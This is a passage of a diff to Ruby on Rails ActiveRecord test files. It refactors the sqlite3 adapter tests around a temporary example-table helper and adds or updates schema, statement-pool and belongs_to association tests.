+ assert @conn.valid_type?(:foobar)
end
def test_column_types
- owner = Owner.create!(:name => "hello".encode('ascii-8bit'))
+ owner = Owner.create!(name: "hello".encode('ascii-8bit'))
owner.reload
select = Owner.columns.map { |c| "typeof(#{c.name})" }.join ', '
result = Owner.connection.exec_query <<-esql
@@ -41,23 +77,28 @@ module ActiveRecord
esql
assert(!result.rows.first.include?("blob"), "should not store blobs")
+ ensure
+ owner.delete
end
def test_exec_insert
- column = @conn.columns('items').find { |col| col.name == 'number' }
- vals = [[column, 10]]
- @conn.exec_insert('insert into items (number) VALUES (?)', 'SQL', vals)
+ with_example_table do
+ column = @conn.columns('ex').find { |col| col.name == 'number' }
+ vals = [[column, 10]]
+ @conn.exec_insert('insert into ex (number) VALUES (?)', 'SQL', vals)
- result = @conn.exec_query(
- 'select number from items where number = ?', 'SQL', vals)
+ result = @conn.exec_query(
+ 'select number from ex where number = ?', 'SQL', vals)
- assert_equal 1, result.rows.length
- assert_equal 10, result.rows.first.first
+ assert_equal 1, result.rows.length
+ assert_equal 10, result.rows.first.first
+ end
end
def test_primary_key_returns_nil_for_no_pk
- @conn.exec_query('create table ex(id int, data string)')
- assert_nil @conn.primary_key('ex')
+ with_example_table 'id int, data string' do
+ assert_nil @conn.primary_key('ex')
+ end
end
def test_connection_no_db
@@ -68,17 +109,17 @@ module ActiveRecord
def test_bad_timeout
assert_raises(TypeError) do
- Base.sqlite3_connection :database => ':memory:',
- :adapter => 'sqlite3',
- :timeout => 'usa'
+ Base.sqlite3_connection database: ':memory:',
+ adapter: 'sqlite3',
+ timeout: 'usa'
end
end
# connection is OK with a nil timeout
def test_nil_timeout
- conn = Base.sqlite3_connection :database => ':memory:',
- :adapter => 'sqlite3',
- :timeout => nil
+ conn = Base.sqlite3_connection database: ':memory:',
+ adapter: 'sqlite3',
+ timeout: nil
assert conn, 'made a connection'
end
@@ -92,82 +133,88 @@ module ActiveRecord
end
def test_bind_value_substitute
- bind_param = @conn.substitute_at('foo', 0)
- assert_equal Arel.sql('?'), bind_param
+ bind_param = @conn.substitute_at('foo')
+ assert_equal Arel.sql('?'), bind_param.to_sql
end
def test_exec_no_binds
- @conn.exec_query('create table ex(id int, data string)')
- result = @conn.exec_query('SELECT id, data FROM ex')
- assert_equal 0, result.rows.length
- assert_equal 2, result.columns.length
- assert_equal %w{ id data }, result.columns
-
- @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
- result = @conn.exec_query('SELECT id, data FROM ex')
- assert_equal 1, result.rows.length
- assert_equal 2, result.columns.length
-
- assert_equal [[1, 'foo']], result.rows
+ with_example_table 'id int, data string' do
+ result = @conn.exec_query('SELECT id, data FROM ex')
+ assert_equal 0, result.rows.length
+ assert_equal 2, result.columns.length
+ assert_equal %w{ id data }, result.columns
+
+ @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+ result = @conn.exec_query('SELECT id, data FROM ex')
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
+
+ assert_equal [[1, 'foo']], result.rows
+ end
end
def test_exec_query_with_binds
- @conn.exec_query('create table ex(id int, data string)')
- @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
- result = @conn.exec_query(
- 'SELECT id, data FROM ex WHERE id = ?', nil, [[nil, 1]])
+ with_example_table 'id int, data string' do
+ @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+ result = @conn.exec_query(
+ 'SELECT id, data FROM ex WHERE id = ?', nil, [[nil, 1]])
- assert_equal 1, result.rows.length
- assert_equal 2, result.columns.length
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
- assert_equal [[1, 'foo']], result.rows
+ assert_equal [[1, 'foo']], result.rows
+ end
end
def test_exec_query_typecasts_bind_vals
- @conn.exec_query('create table ex(id int, data string)')
- @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
- column = @conn.columns('ex').find { |col| col.name == 'id' }
+ with_example_table 'id int, data string' do
+ @conn.exec_query('INSERT INTO ex (id, data) VALUES (1, "foo")')
+ column = @conn.columns('ex').find { |col| col.name == 'id' }
- result = @conn.exec_query(
- 'SELECT id, data FROM ex WHERE id = ?', nil, [[column, '1-fuu']])
+ result = @conn.exec_query(
+ 'SELECT id, data FROM ex WHERE id = ?', nil, [[column, '1-fuu']])
- assert_equal 1, result.rows.length
- assert_equal 2, result.columns.length
+ assert_equal 1, result.rows.length
+ assert_equal 2, result.columns.length
- assert_equal [[1, 'foo']], result.rows
+ assert_equal [[1, 'foo']], result.rows
+ end
end
def test_quote_binary_column_escapes_it
DualEncoding.connection.execute(<<-eosql)
- CREATE TABLE dual_encodings (
+ CREATE TABLE IF NOT EXISTS dual_encodings (
id integer PRIMARY KEY AUTOINCREMENT,
- name string,
+ name varchar(255),
data binary
)
eosql
str = "\x80".force_encoding("ASCII-8BIT")
- binary = DualEncoding.new :name => 'ã„ãŸã ãã¾ã™ï¼', :data => str
+ binary = DualEncoding.new name: 'ã„ãŸã ãã¾ã™ï¼', data: str
binary.save!
assert_equal str, binary.data
-
ensure
- DualEncoding.connection.drop_table('dual_encodings')
+ DualEncoding.connection.execute('DROP TABLE IF EXISTS dual_encodings')
end
def test_type_cast_should_not_mutate_encoding
name = 'hello'.force_encoding(Encoding::ASCII_8BIT)
Owner.create(name: name)
assert_equal Encoding::ASCII_8BIT, name.encoding
+ ensure
+ Owner.delete_all
end
def test_execute
- @conn.execute "INSERT INTO items (number) VALUES (10)"
- records = @conn.execute "SELECT * FROM items"
- assert_equal 1, records.length
-
- record = records.first
- assert_equal 10, record['number']
- assert_equal 1, record['id']
+ with_example_table do
+ @conn.execute "INSERT INTO ex (number) VALUES (10)"
+ records = @conn.execute "SELECT * FROM ex"
+ assert_equal 1, records.length
+
+ record = records.first
+ assert_equal 10, record['number']
+ assert_equal 1, record['id']
+ end
end
def test_quote_string
@@ -175,128 +222,141 @@ module ActiveRecord
end
def test_insert_sql
- 2.times do |i|
- rv = @conn.insert_sql "INSERT INTO items (number) VALUES (#{i})"
- assert_equal(i + 1, rv)
+ with_example_table do
+ 2.times do |i|
+ rv = @conn.insert_sql "INSERT INTO ex (number) VALUES (#{i})"
+ assert_equal(i + 1, rv)
+ end
+
+ records = @conn.execute "SELECT * FROM ex"
+ assert_equal 2, records.length
end
-
- records = @conn.execute "SELECT * FROM items"
- assert_equal 2, records.length
end
def test_insert_sql_logged
- sql = "INSERT INTO items (number) VALUES (10)"
- name = "foo"
-
- assert_logged([[sql, name, []]]) do
- @conn.insert_sql sql, name
+ with_example_table do
+ sql = "INSERT INTO ex (number) VALUES (10)"
+ name = "foo"
+ assert_logged [[sql, name, []]] do
+ @conn.insert_sql sql, name
+ end
end
end
def test_insert_id_value_returned
- sql = "INSERT INTO items (number) VALUES (10)"
- idval = 'vuvuzela'
- id = @conn.insert_sql sql, nil, nil, idval
- assert_equal idval, id
+ with_example_table do
+ sql = "INSERT INTO ex (number) VALUES (10)"
+ idval = 'vuvuzela'
+ id = @conn.insert_sql sql, nil, nil, idval
+ assert_equal idval, id
+ end
end
def test_select_rows
- 2.times do |i|
- @conn.create "INSERT INTO items (number) VALUES (#{i})"
+ with_example_table do
+ 2.times do |i|
+ @conn.create "INSERT INTO ex (number) VALUES (#{i})"
+ end
+ rows = @conn.select_rows 'select number, id from ex'
+ assert_equal [[0, 1], [1, 2]], rows
end
- rows = @conn.select_rows 'select number, id from items'
- assert_equal [[0, 1], [1, 2]], rows
end
def test_select_rows_logged
- sql = "select * from items"
- name = "foo"
-
- assert_logged([[sql, name, []]]) do
- @conn.select_rows sql, name
+ with_example_table do
+ sql = "select * from ex"
+ name = "foo"
+ assert_logged [[sql, name, []]] do
+ @conn.select_rows sql, name
+ end
end
end
def test_transaction
- count_sql = 'select count(*) from items'
+ with_example_table do
+ count_sql = 'select count(*) from ex'
- @conn.begin_db_transaction
- @conn.create "INSERT INTO items (number) VALUES (10)"
+ @conn.begin_db_transaction
+ @conn.create "INSERT INTO ex (number) VALUES (10)"
- assert_equal 1, @conn.select_rows(count_sql).first.first
- @conn.rollback_db_transaction
- assert_equal 0, @conn.select_rows(count_sql).first.first
+ assert_equal 1, @conn.select_rows(count_sql).first.first
+ @conn.rollback_db_transaction
+ assert_equal 0, @conn.select_rows(count_sql).first.first
+ end
end
def test_tables
- assert_equal %w{ items }, @conn.tables
-
- @conn.execute <<-eosql
- CREATE TABLE people (
- id integer PRIMARY KEY AUTOINCREMENT,
- number integer
- )
- eosql
- assert_equal %w{ items people }.sort, @conn.tables.sort
+ with_example_table do
+ assert_equal %w{ ex }, @conn.tables
+ with_example_table 'id integer PRIMARY KEY AUTOINCREMENT, number integer', 'people' do
+ assert_equal %w{ ex people }.sort, @conn.tables.sort
+ end
+ end
end
def test_tables_logs_name
- assert_logged [['SCHEMA', []]] do
+ sql = <<-SQL
+ SELECT name FROM sqlite_master
+ WHERE (type = 'table' OR type = 'view') AND NOT name = 'sqlite_sequence'
+ SQL
+ assert_logged [[sql.squish, 'SCHEMA', []]] do
@conn.tables('hello')
- assert_not_nil @conn.logged.first.shift
end
end
def test_indexes_logs_name
- assert_logged [["PRAGMA index_list(\"items\")", 'SCHEMA', []]] do
- @conn.indexes('items', 'hello')
+ with_example_table do
+ assert_logged [["PRAGMA index_list(\"ex\")", 'SCHEMA', []]] do
+ @conn.indexes('ex', 'hello')
+ end
end
end
def test_table_exists_logs_name
- assert @conn.table_exists?('items')
- assert_equal 'SCHEMA', @conn.logged[0][1]
+ with_example_table do
+ sql = <<-SQL
+ SELECT name FROM sqlite_master
+ WHERE (type = 'table' OR type = 'view')
+ AND NOT name = 'sqlite_sequence' AND name = \"ex\"
+ SQL
+ assert_logged [[sql.squish, 'SCHEMA', []]] do
+ assert @conn.table_exists?('ex')
+ end
+ end
end
def test_columns
- columns = @conn.columns('items').sort_by { |x| x.name }
- assert_equal 2, columns.length
- assert_equal %w{ id number }.sort, columns.map { |x| x.name }
- assert_equal [nil, nil], columns.map { |x| x.default }
- assert_equal [true, true], columns.map { |x| x.null }
+ with_example_table do
+ columns = @conn.columns('ex').sort_by(&:name)
+ assert_equal 2, columns.length
+ assert_equal %w{ id number }.sort, columns.map(&:name)
+ assert_equal [nil, nil], columns.map(&:default)
+ assert_equal [true, true], columns.map(&:null)
+ end
end
def test_columns_with_default
- @conn.execute <<-eosql
- CREATE TABLE columns_with_default (
- id integer PRIMARY KEY AUTOINCREMENT,
- number integer default 10
- )
- eosql
- column = @conn.columns('columns_with_default').find { |x|
- x.name == 'number'
- }
- assert_equal 10, column.default
+ with_example_table 'id integer PRIMARY KEY AUTOINCREMENT, number integer default 10' do
+ column = @conn.columns('ex').find { |x|
+ x.name == 'number'
+ }
+ assert_equal '10', column.default
+ end
end
def test_columns_with_not_null
- @conn.execute <<-eosql
- CREATE TABLE columns_with_default (
- id integer PRIMARY KEY AUTOINCREMENT,
- number integer not null
- )
- eosql
- column = @conn.columns('columns_with_default').find { |x|
- x.name == 'number'
- }
- assert !column.null, "column should not be null"
+ with_example_table 'id integer PRIMARY KEY AUTOINCREMENT, number integer not null' do
+ column = @conn.columns('ex').find { |x| x.name == 'number' }
+ assert_not column.null, "column should not be null"
+ end
end
def test_indexes_logs
- assert_difference('@conn.logged.length') do
- @conn.indexes('items')
+ with_example_table do
+ assert_logged [["PRAGMA index_list(\"ex\")", "SCHEMA", []]] do
+ @conn.indexes('ex')
+ end
end
- assert_match(/items/, @conn.logged.last.first)
end
def test_no_indexes
@@ -304,50 +364,92 @@ module ActiveRecord
end
def test_index
- @conn.add_index 'items', 'id', :unique => true, :name => 'fun'
- index = @conn.indexes('items').find { |idx| idx.name == 'fun' }
+ with_example_table do
+ @conn.add_index 'ex', 'id', unique: true, name: 'fun'
+ index = @conn.indexes('ex').find { |idx| idx.name == 'fun' }
- assert_equal 'items', index.table
- assert index.unique, 'index is unique'
- assert_equal ['id'], index.columns
+ assert_equal 'ex', index.table
+ assert index.unique, 'index is unique'
+ assert_equal ['id'], index.columns
+ end
end
def test_non_unique_index
- @conn.add_index 'items', 'id', :name => 'fun'
- index = @conn.indexes('items').find { |idx| idx.name == 'fun' }
- assert !index.unique, 'index is not unique'
+ with_example_table do
+ @conn.add_index 'ex', 'id', name: 'fun'
+ index = @conn.indexes('ex').find { |idx| idx.name == 'fun' }
+ assert_not index.unique, 'index is not unique'
+ end
end
def test_compound_index
- @conn.add_index 'items', %w{ id number }, :name => 'fun'
- index = @conn.indexes('items').find { |idx| idx.name == 'fun' }
- assert_equal %w{ id number }.sort, index.columns.sort
+ with_example_table do
+ @conn.add_index 'ex', %w{ id number }, name: 'fun'
+ index = @conn.indexes('ex').find { |idx| idx.name == 'fun' }
+ assert_equal %w{ id number }.sort, index.columns.sort
+ end
end
def test_primary_key
- assert_equal 'id', @conn.primary_key('items')
-
- @conn.execute <<-eosql
- CREATE TABLE foos (
- internet integer PRIMARY KEY AUTOINCREMENT,
- number integer not null
- )
- eosql
- assert_equal 'internet', @conn.primary_key('foos')
+ with_example_table do
+ assert_equal 'id', @conn.primary_key('ex')
+ with_example_table 'internet integer PRIMARY KEY AUTOINCREMENT, number integer not null', 'foos' do
+ assert_equal 'internet', @conn.primary_key('foos')
+ end
+ end
end
def test_no_primary_key
- @conn.execute 'CREATE TABLE failboat (number integer not null)'
- assert_nil @conn.primary_key('failboat')
+ with_example_table 'number integer not null' do
+ assert_nil @conn.primary_key('ex')
+ end
+ end
+
+ def test_supports_extensions
+ assert_not @conn.supports_extensions?, 'does not support extensions'
+ end
+
+ def test_respond_to_enable_extension
+ assert @conn.respond_to?(:enable_extension)
+ end
+
+ def test_respond_to_disable_extension
+ assert @conn.respond_to?(:disable_extension)
+ end
+
+ def test_statement_closed
+ db = SQLite3::Database.new(ActiveRecord::Base.
+ configurations['arunit']['database'])
+ statement = SQLite3::Statement.new(db,
+ 'CREATE TABLE statement_test (number integer not null)')
+ statement.stubs(:step).raises(SQLite3::BusyException, 'busy')
+ statement.stubs(:columns).once.returns([])
+ statement.expects(:close).once
+ SQLite3::Statement.stubs(:new).returns(statement)
+
+ assert_raises ActiveRecord::StatementInvalid do
+ @conn.exec_query 'select * from statement_test'
+ end
end
private
def assert_logged logs
+ subscriber = SQLSubscriber.new
+ subscription = ActiveSupport::Notifications.subscribe('sql.active_record', subscriber)
yield
- assert_equal logs, @conn.logged
+ assert_equal logs, subscriber.logged
+ ensure
+ ActiveSupport::Notifications.unsubscribe(subscription)
end
+ def with_example_table(definition = nil, table_name = 'ex', &block)
+ definition ||= <<-SQL
+ id integer PRIMARY KEY AUTOINCREMENT,
+ number integer
+ SQL
+ super(@conn, table_name, definition, &block)
+ end
end
end
end
diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb
new file mode 100644
index 0000000000..f545fc2011
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb
@@ -0,0 +1,21 @@
+# encoding: utf-8
+require "cases/helper"
+require 'models/owner'
+
+module ActiveRecord
+ module ConnectionAdapters
+ class SQLite3CreateFolder < ActiveRecord::TestCase
+ def test_sqlite_creates_directory
+ Dir.mktmpdir do |dir|
+ dir = Pathname.new(dir)
+ @conn = Base.sqlite3_connection :database => dir.join("db/foo.sqlite3"),
+ :adapter => 'sqlite3',
+ :timeout => 100
+
+ assert Dir.exist? dir.join('db')
+ assert File.exist? dir.join('db/foo.sqlite3')
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
index 2f04c60a9a..fd0044ac05 100644
--- a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
@@ -3,20 +3,21 @@ require 'cases/helper'
module ActiveRecord::ConnectionAdapters
class SQLite3Adapter
class StatementPoolTest < ActiveRecord::TestCase
- def test_cache_is_per_pid
- return skip('must support fork') unless Process.respond_to?(:fork)
+ if Process.respond_to?(:fork)
+ def test_cache_is_per_pid
- cache = StatementPool.new nil, 10
- cache['foo'] = 'bar'
- assert_equal 'bar', cache['foo']
+ cache = StatementPool.new nil, 10
+ cache['foo'] = 'bar'
+ assert_equal 'bar', cache['foo']
- pid = fork {
- lookup = cache['foo'];
- exit!(!lookup)
- }
+ pid = fork {
+ lookup = cache['foo'];
+ exit!(!lookup)
+ }
- Process.waitpid pid
- assert $?.success?, 'process should exit successfully'
+ Process.waitpid pid
+ assert $?.success?, 'process should exit successfully'
+ end
end
end
end
diff --git a/activerecord/test/cases/aggregations_test.rb b/activerecord/test/cases/aggregations_test.rb
index 48b06a767f..5536702f58 100644
--- a/activerecord/test/cases/aggregations_test.rb
+++ b/activerecord/test/cases/aggregations_test.rb
@@ -1,6 +1,5 @@
require "cases/helper"
require 'models/customer'
-require 'active_support/core_ext/exception'
class AggregationsTest < ActiveRecord::TestCase
fixtures :customers
@@ -26,7 +25,7 @@ class AggregationsTest < ActiveRecord::TestCase
def test_immutable_value_objects
customers(:david).balance = Money.new(100)
- assert_raise(ActiveSupport::FrozenObjectError) { customers(:david).balance.instance_eval { @amount = 20 } }
+ assert_raise(RuntimeError) { customers(:david).balance.instance_eval { @amount = 20 } }
end
def test_inferred_mapping
@@ -142,7 +141,6 @@ class AggregationsTest < ActiveRecord::TestCase
end
class OverridingAggregationsTest < ActiveRecord::TestCase
- class Name; end
class DifferentName; end
class Person < ActiveRecord::Base
diff --git a/activerecord/test/cases/ar_schema_test.rb b/activerecord/test/cases/ar_schema_test.rb
index b2eac0349b..025c9fe6f9 100644
--- a/activerecord/test/cases/ar_schema_test.rb
+++ b/activerecord/test/cases/ar_schema_test.rb
@@ -5,12 +5,34 @@ if ActiveRecord::Base.connection.supports_migrations?
class ActiveRecordSchemaTest < ActiveRecord::TestCase
self.use_transactional_fixtures = false
- def setup
+ setup do
+ @original_verbose = ActiveRecord::Migration.verbose
+ ActiveRecord::Migration.verbose = false
@connection = ActiveRecord::Base.connection
+ ActiveRecord::SchemaMigration.drop_table
end
- def teardown
+ teardown do
@connection.drop_table :fruits rescue nil
+ @connection.drop_table :nep_fruits rescue nil
+ @connection.drop_table :nep_schema_migrations rescue nil
+ @connection.drop_table :has_timestamps rescue nil
+ ActiveRecord::SchemaMigration.delete_all rescue nil
+ ActiveRecord::Migration.verbose = @original_verbose
+ end
+
+ def test_has_no_primary_key
+ old_primary_key_prefix_type = ActiveRecord::Base.primary_key_prefix_type
+ ActiveRecord::Base.primary_key_prefix_type = :table_name_with_underscore
+ assert_nil ActiveRecord::SchemaMigration.primary_key
+
+ ActiveRecord::SchemaMigration.create_table
+ assert_difference "ActiveRecord::SchemaMigration.count", 1 do
+ ActiveRecord::SchemaMigration.create version: 12
+ end
+ ensure
+ ActiveRecord::SchemaMigration.drop_table
+ ActiveRecord::Base.primary_key_prefix_type = old_primary_key_prefix_type
end
def test_schema_define
@@ -28,6 +50,25 @@ if ActiveRecord::Base.connection.supports_migrations?
assert_equal 7, ActiveRecord::Migrator::current_version
end
+ def test_schema_define_w_table_name_prefix
+ table_name = ActiveRecord::SchemaMigration.table_name
+ old_table_name_prefix = ActiveRecord::Base.table_name_prefix
+ ActiveRecord::Base.table_name_prefix = "nep_"
+ ActiveRecord::SchemaMigration.table_name = "nep_#{table_name}"
+ ActiveRecord::Schema.define(:version => 7) do
+ create_table :fruits do |t|
+ t.column :color, :string
+ t.column :fruit_size, :string # NOTE: "size" is reserved in Oracle
+ t.column :texture, :string
+ t.column :flavor, :string
+ end
+ end
+ assert_equal 7, ActiveRecord::Migrator::current_version
+ ensure
+ ActiveRecord::Base.table_name_prefix = old_table_name_prefix
+ ActiveRecord::SchemaMigration.table_name = table_name
+ end
+
def test_schema_raises_an_error_for_invalid_column_type
assert_raise NoMethodError do
ActiveRecord::Schema.define(:version => 8) do
@@ -44,6 +85,77 @@ if ActiveRecord::Base.connection.supports_migrations?
end
assert_nothing_raised { @connection.select_all "SELECT * FROM fruits" }
end
- end
+ def test_normalize_version
+ assert_equal "118", ActiveRecord::SchemaMigration.normalize_migration_number("0000118")
+ assert_equal "002", ActiveRecord::SchemaMigration.normalize_migration_number("2")
+ assert_equal "017", ActiveRecord::SchemaMigration.normalize_migration_number("0017")
+ assert_equal "20131219224947", ActiveRecord::SchemaMigration.normalize_migration_number("20131219224947")
+ end
+
+ def test_timestamps_without_null_is_deprecated_on_create_table
+ assert_deprecated do
+ ActiveRecord::Schema.define do
+ create_table :has_timestamps do |t|
+ t.timestamps
+ end
+ end
+ end
+ end
+
+ def test_timestamps_without_null_is_deprecated_on_change_table
+ assert_deprecated do
+ ActiveRecord::Schema.define do
+ create_table :has_timestamps
+
+ change_table :has_timestamps do |t|
+ t.timestamps
+ end
+ end
+ end
+ end
+
+ def test_timestamps_without_null_is_deprecated_on_add_timestamps
+ assert_deprecated do
+ ActiveRecord::Schema.define do
+ create_table :has_timestamps
+ add_timestamps :has_timestamps
+ end
+ end
+ end
+
+ def test_no_deprecation_warning_from_timestamps_on_create_table
+ assert_not_deprecated do
+ ActiveRecord::Schema.define do
+ create_table :has_timestamps do |t|
+ t.timestamps null: true
+ end
+
+ drop_table :has_timestamps
+
+ create_table :has_timestamps do |t|
+ t.timestamps null: false
+ end
+ end
+ end
+ end
+
+ def test_no_deprecation_warning_from_timestamps_on_change_table
+ assert_not_deprecated do
+ ActiveRecord::Schema.define do
+ create_table :has_timestamps
+ change_table :has_timestamps do |t|
+ t.timestamps null: true
+ end
+
+ drop_table :has_timestamps
+
+ create_table :has_timestamps
+ change_table :has_timestamps do |t|
+ t.timestamps null: false, default: Time.now
+ end
+ end
+ end
+ end
+ end
end
diff --git a/activerecord/test/cases/associations/association_scope_test.rb b/activerecord/test/cases/associations/association_scope_test.rb
index d38648202e..3e0032ec73 100644
--- a/activerecord/test/cases/associations/association_scope_test.rb
+++ b/activerecord/test/cases/associations/association_scope_test.rb
@@ -6,9 +6,15 @@ module ActiveRecord
module Associations
class AssociationScopeTest < ActiveRecord::TestCase
test 'does not duplicate conditions' do
- association_scope = AssociationScope.new(Author.new.association(:welcome_posts))
- wheres = association_scope.scope.where_values.map(&:right)
+ scope = AssociationScope.scope(Author.new.association(:welcome_posts),
+ Author.connection)
+ wheres = scope.where_values.map(&:right)
+ binds = scope.bind_values.map(&:last)
+ wheres = scope.where_values.map(&:right).reject { |node|
+ Arel::Nodes::BindParam === node
+ }
assert_equal wheres.uniq, wheres
+ assert_equal binds.uniq, binds
end
end
end
diff --git a/activerecord/test/cases/associations/belongs_to_associations_test.rb b/activerecord/test/cases/associations/belongs_to_associations_test.rb
index 04d0f755b6..17394cb6f7 100644
--- a/activerecord/test/cases/associations/belongs_to_associations_test.rb
+++ b/activerecord/test/cases/associations/belongs_to_associations_test.rb
@@ -1,5 +1,6 @@
-require "cases/helper"
+require 'cases/helper'
require 'models/developer'
+require 'models/computer'
require 'models/project'
require 'models/company'
require 'models/topic'
@@ -14,6 +15,10 @@ require 'models/sponsor'
require 'models/member'
require 'models/essay'
require 'models/toy'
+require 'models/invoice'
+require 'models/line_item'
+require 'models/column'
+require 'models/record'
class BelongsToAssociationsTest < ActiveRecord::TestCase
fixtures :accounts, :companies, :developers, :projects, :topics,
@@ -21,9 +26,16 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
:posts, :tags, :taggings, :comments, :sponsors, :members
def test_belongs_to
- Client.find(3).firm.name
- assert_equal companies(:first_firm).name, Client.find(3).firm.name
- assert_not_nil Client.find(3).firm, "Microsoft should have a firm"
+ firm = Client.find(3).firm
+ assert_not_nil firm
+ assert_equal companies(:first_firm).name, firm.name
+ end
+
+ def test_belongs_to_does_not_use_order_by
+ ActiveRecord::SQLCounter.clear_log
+ Client.find(3).firm
+ ensure
+ assert ActiveRecord::SQLCounter.log_all.all? { |sql| /order by/i !~ sql }, 'ORDER BY was used in the query'
end
def test_belongs_to_with_primary_key
@@ -33,7 +45,7 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
def test_belongs_to_with_primary_key_joins_on_correct_column
sql = Client.joins(:firm_with_primary_key).to_sql
- if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
assert_no_match(/`firm_with_primary_keys_companies`\.`id`/, sql)
assert_match(/`firm_with_primary_keys_companies`\.`name`/, sql)
elsif current_adapter?(:OracleAdapter)
@@ -46,6 +58,35 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
end
end
+ def test_default_scope_on_relations_is_not_cached
+ counter = 0
+
+ comments = Class.new(ActiveRecord::Base) {
+ self.table_name = 'comments'
+ self.inheritance_column = 'not_there'
+
+ posts = Class.new(ActiveRecord::Base) {
+ self.table_name = 'posts'
+ self.inheritance_column = 'not_there'
+
+ default_scope -> {
+ counter += 1
+ where("id = :inc", :inc => counter)
+ }
+
+ has_many :comments, :class => comments
+ }
+ belongs_to :post, :class => posts, :inverse_of => false
+ }
+
+ assert_equal 0, counter
+ comment = comments.first
+ assert_equal 0, counter
+ sql = capture_sql { comment.post }
+ comment.reload
+ assert_not_equal sql, capture_sql { comment.post }
+ end
+
def test_proxy_assignment
account = Account.find(1)
assert_nothing_raised { account.firm = account.firm }
@@ -63,6 +104,13 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal apple.id, citibank.firm_id
end
+ def test_id_assignment
+ apple = Firm.create("name" => "Apple")
+ citibank = Account.create("credit_limit" => 10)
+ citibank.firm_id = apple
+ assert_nil citibank.firm_id
+ end
+
def test_natural_assignment_with_primary_key
apple = Firm.create("name" => "Apple")
citibank = Client.create("name" => "Primary key client")
@@ -215,25 +263,25 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
def test_belongs_to_counter
debate = Topic.create("title" => "debate")
- assert_equal 0, debate.send(:read_attribute, "replies_count"), "No replies yet"
+ assert_equal 0, debate.read_attribute("replies_count"), "No replies yet"
trash = debate.replies.create("title" => "blah!", "content" => "world around!")
- assert_equal 1, Topic.find(debate.id).send(:read_attribute, "replies_count"), "First reply created"
+ assert_equal 1, Topic.find(debate.id).read_attribute("replies_count"), "First reply created"
trash.destroy
- assert_equal 0, Topic.find(debate.id).send(:read_attribute, "replies_count"), "First reply deleted"
+ assert_equal 0, Topic.find(debate.id).read_attribute("replies_count"), "First reply deleted"
end
def test_belongs_to_counter_with_assigning_nil
- p = Post.find(1)
- c = Comment.find(1)
+ post = Post.find(1)
+ comment = Comment.find(1)
- assert_equal p.id, c.post_id
- assert_equal 2, Post.find(p.id).comments.size
+ assert_equal post.id, comment.post_id
+ assert_equal 2, Post.find(post.id).comments.size
- c.post = nil
+ comment.post = nil
- assert_equal 1, Post.find(p.id).comments.size
+ assert_equal 1, Post.find(post.id).comments.size
end
def test_belongs_to_with_primary_key_counter
@@ -256,56 +304,56 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
end
def test_belongs_to_counter_with_reassigning
- t1 = Topic.create("title" => "t1")
- t2 = Topic.create("title" => "t2")
- r1 = Reply.new("title" => "r1", "content" => "r1")
- r1.topic = t1
+ topic1 = Topic.create("title" => "t1")
+ topic2 = Topic.create("title" => "t2")
+ reply1 = Reply.new("title" => "r1", "content" => "r1")
+ reply1.topic = topic1
- assert r1.save
- assert_equal 1, Topic.find(t1.id).replies.size
- assert_equal 0, Topic.find(t2.id).replies.size
+ assert reply1.save
+ assert_equal 1, Topic.find(topic1.id).replies.size
+ assert_equal 0, Topic.find(topic2.id).replies.size
- r1.topic = Topic.find(t2.id)
+ reply1.topic = Topic.find(topic2.id)
assert_no_queries do
- r1.topic = t2
+ reply1.topic = topic2
end
- assert r1.save
- assert_equal 0, Topic.find(t1.id).replies.size
- assert_equal 1, Topic.find(t2.id).replies.size
+ assert reply1.save
+ assert_equal 0, Topic.find(topic1.id).replies.size
+ assert_equal 1, Topic.find(topic2.id).replies.size
- r1.topic = nil
+ reply1.topic = nil
- assert_equal 0, Topic.find(t1.id).replies.size
- assert_equal 0, Topic.find(t2.id).replies.size
+ assert_equal 0, Topic.find(topic1.id).replies.size
+ assert_equal 0, Topic.find(topic2.id).replies.size
- r1.topic = t1
+ reply1.topic = topic1
- assert_equal 1, Topic.find(t1.id).replies.size
- assert_equal 0, Topic.find(t2.id).replies.size
+ assert_equal 1, Topic.find(topic1.id).replies.size
+ assert_equal 0, Topic.find(topic2.id).replies.size
- r1.destroy
+ reply1.destroy
- assert_equal 0, Topic.find(t1.id).replies.size
- assert_equal 0, Topic.find(t2.id).replies.size
+ assert_equal 0, Topic.find(topic1.id).replies.size
+ assert_equal 0, Topic.find(topic2.id).replies.size
end
def test_belongs_to_reassign_with_namespaced_models_and_counters
- t1 = Web::Topic.create("title" => "t1")
- t2 = Web::Topic.create("title" => "t2")
- r1 = Web::Reply.new("title" => "r1", "content" => "r1")
- r1.topic = t1
+ topic1 = Web::Topic.create("title" => "t1")
+ topic2 = Web::Topic.create("title" => "t2")
+ reply1 = Web::Reply.new("title" => "r1", "content" => "r1")
+ reply1.topic = topic1
- assert r1.save
- assert_equal 1, Web::Topic.find(t1.id).replies.size
- assert_equal 0, Web::Topic.find(t2.id).replies.size
+ assert reply1.save
+ assert_equal 1, Web::Topic.find(topic1.id).replies.size
+ assert_equal 0, Web::Topic.find(topic2.id).replies.size
- r1.topic = Web::Topic.find(t2.id)
+ reply1.topic = Web::Topic.find(topic2.id)
- assert r1.save
- assert_equal 0, Web::Topic.find(t1.id).replies.size
- assert_equal 1, Web::Topic.find(t2.id).replies.size
+ assert reply1.save
